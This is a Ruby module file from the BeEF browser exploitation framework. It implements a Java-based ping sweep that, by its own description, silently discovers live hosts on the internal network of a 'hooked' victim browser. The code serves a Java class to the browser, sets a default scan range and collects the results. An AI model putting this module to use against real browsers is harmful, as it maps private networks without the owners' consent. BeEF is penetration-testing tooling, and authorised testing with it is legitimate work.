#
# Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
#
# Ping Sweep Module - jgaliana
# Discover active hosts in the internal network of the hooked browser.
# It works calling a Java method from JavaScript and do not require user interaction.


class Ping_sweep_java < BeEF::Core::Command

  def pre_send
		BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/network/ping_sweep_java/pingSweep.class','/pingSweep','class')
	end

  def self.options
    return [
        {'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class or IP)', 'value' => '192.168.0.1-192.168.0.254'},
        {'name' => 'timeout', 'ui_label' => 'Timeout (ms)', 'value' => '2000'}
    ]
  end
  
  def post_execute
    content = {}
    content['ps'] =@datastore['ps'] if not @datastore['ps'].nil?
    if content.empty?
      content['fail'] = 'No active hosts have been discovered.'
    end
    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/pingSweep.class')
    save content
  end
end
